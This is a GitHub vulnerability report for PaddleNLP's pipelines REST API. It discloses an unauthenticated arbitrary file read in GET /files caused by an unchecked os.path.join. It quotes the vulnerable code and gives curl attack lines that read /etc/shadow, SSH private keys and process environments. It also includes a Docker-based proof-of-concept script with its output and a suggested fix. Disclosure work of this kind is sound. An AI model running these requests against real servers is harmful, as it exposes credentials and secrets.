#11236·PaddleNLP

[Bug]: PaddleNLP /files Endpoint Arbitrary File Read via Absolute Path Override

Author: AAtomicalCreated Jul 9, 2026Updated Aug 19, 2026
Labelsbug

软件环境

markdown
paddle-bfloat      0.1.7
paddle2onnx        0.9.8
paddlefsl          1.1.0
paddlenlp          2.3.0.dev0
paddleocr          2.5.0.3
paddlepaddle       2.3.1

重复问题

  • I have searched the existing issues

错误描述

markdown
## Summary

`PaddlePaddle/PaddleNLP` (12k+ stars) pipelines REST API has an arbitrary file read vulnerability in `GET /files`. The `file_name` query parameter is passed directly to `os.path.join(FILE_PARSE_PATH, file_name)` with zero validation. When `file_name` is an absolute path (e.g. `/etc/passwd`), Python's `os.path.join` discards the base directory entirely, allowing an unauthenticated remote attacker to read any file readable by the server process.

## Vulnerable Code


# slm/pipelines/rest_api/controller/file_upload.py:225-230
@router.get("/files")
def download_file(file_name: str = "1fc0aeac9900487a8c6cec8dda6499bd_demo_1.png"):
    file_path = os.path.join(FILE_PARSE_PATH, file_name)  # ← absolute path overrides base
    if os.path.exists(file_path):
        return FileResponse(file_path)                     # ← serves arbitrary file
    return {"message": "File not Found"}


## Root Cause

`os.path.join("/safe/dir", "/etc/passwd")``"/etc/passwd"`. When the second argument starts with `/`, the first is discarded. No `os.path.basename()`, no containment check, no path validation of any kind.

## Attack


# No authentication required — single GET request
curl http://target:8000/files?file_name=/etc/passwd
curl http://target:8000/files?file_name=/etc/shadow
curl http://target:8000/files?file_name=/root/.ssh/id_rsa
curl http://target:8000/files?file_name=/proc/self/environ

稳定复现步骤 & 代码

poc.py

python
import os
import subprocess
import sys
import time

import requests

CONTAINER = "paddlenlp_poc"
IMAGE = "paddlenlp-poc"
PORT = 18990
BASE = f"http://127.0.0.1:{PORT}"


def build():
    poc_dir = os.path.dirname(os.path.abspath(__file__))
    r = subprocess.run(
        ["docker", "build", "--platform", "linux/amd64", "-t", IMAGE, poc_dir],
        capture_output=True, text=True, timeout=600,
    )
    if r.returncode != 0:
        print(r.stderr[-2000:])
        sys.exit(1)


def start():
    subprocess.run(["docker", "rm", "-f", CONTAINER], capture_output=True)
    subprocess.run([
        "docker", "run", "-d", "--platform", "linux/amd64",
        "--name", CONTAINER, "-p", f"{PORT}:8000", IMAGE,
    ], check=True, capture_output=True)
    for _ in range(20):
        try:
            if requests.get(f"{BASE}/files?file_name=legit.png", timeout=2).status_code == 200:
                return True
        except Exception:
            pass
        time.sleep(1)
    return False


def exploit():
    r_baseline = requests.get(f"{BASE}/files", params={"file_name": "legit.png"})
    r_abs = requests.get(f"{BASE}/files", params={"file_name": "/etc/hosts"})
    r_passwd = requests.get(f"{BASE}/files", params={"file_name": "/etc/passwd"})
    return r_baseline, r_abs, r_passwd


def cleanup():
    subprocess.run(["docker", "rm", "-f", CONTAINER], capture_output=True)


def main():
    build()
    if not start():
        print("[-] Server failed to start")
        print(subprocess.run(["docker", "logs", CONTAINER], capture_output=True, text=True).stdout[-1000:])
        cleanup()
        sys.exit(1)

    r_baseline, r_abs, r_passwd = exploit()
    cleanup()

    abs_ok = r_abs.status_code == 200 and "localhost" in r_abs.text
    passwd_ok = r_passwd.status_code == 200 and "root:" in r_passwd.text

    print(f"source:      PaddleNLP/slm/pipelines/rest_api/controller/file_upload.py:227-229")
    print(f"endpoint:    GET /files?file_name=<path>")
    print(f"sink:        os.path.join(FILE_PARSE_PATH, file_name) → FileResponse()")
    print()
    print(f"[baseline] file_name=legit.png  status={r_baseline.status_code} body={r_baseline.text[:40]!r}")
    print(f"[A] file_name=/etc/hosts        status={r_abs.status_code} body={r_abs.text[:80]!r}")
    print(f"[B] file_name=/etc/passwd        status={r_passwd.status_code} body={r_passwd.text[:80]!r}")
    print()
    print(f"result:      {'VULNERABLE' if abs_ok and passwd_ok else 'NOT CONFIRMED'}")
    sys.exit(0 if abs_ok and passwd_ok else 1)


if __name__ == "__main__":
    main()

Proof of Concept

Environment

Component Detail
PaddleNLP Latest develop branch (cloned from GitHub)
Server Real pipelines REST API, Docker (paddlepaddle/paddlenlp:pipelines-cpu-1.0 base image + current source)
Attack HTTP GET via requests

PoC output

source:      PaddleNLP/slm/pipelines/rest_api/controller/file_upload.py:227-229
endpoint:    GET /files?file_name=<path>
sink:        os.path.join(FILE_PARSE_PATH, file_name) → FileResponse()

[baseline] file_name=legit.png  status=200 body='LEGITIMATE_PNG\n'
[A] file_name=/etc/hosts        status=200 body='127.0.0.1\tlocalhost\n::1\tlocalhost ip6-localhost...'
[B] file_name=/etc/passwd        status=200 body='root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:...'

result:      VULNERABLE
Image

Suggested Fix

python
@router.get("/files")
def download_file(file_name: str = "1fc0aeac9900487a8c6cec8dda6499bd_demo_1.png"):
    file_name = os.path.basename(file_name)
    file_path = os.path.join(FILE_PARSE_PATH, file_name)
    if not os.path.abspath(file_path).startswith(os.path.abspath(FILE_PARSE_PATH) + os.sep):
        raise HTTPException(status_code=400, detail="Invalid file name")
    if os.path.exists(file_path):
        return FileResponse(file_path)
    return {"message": "File not Found"}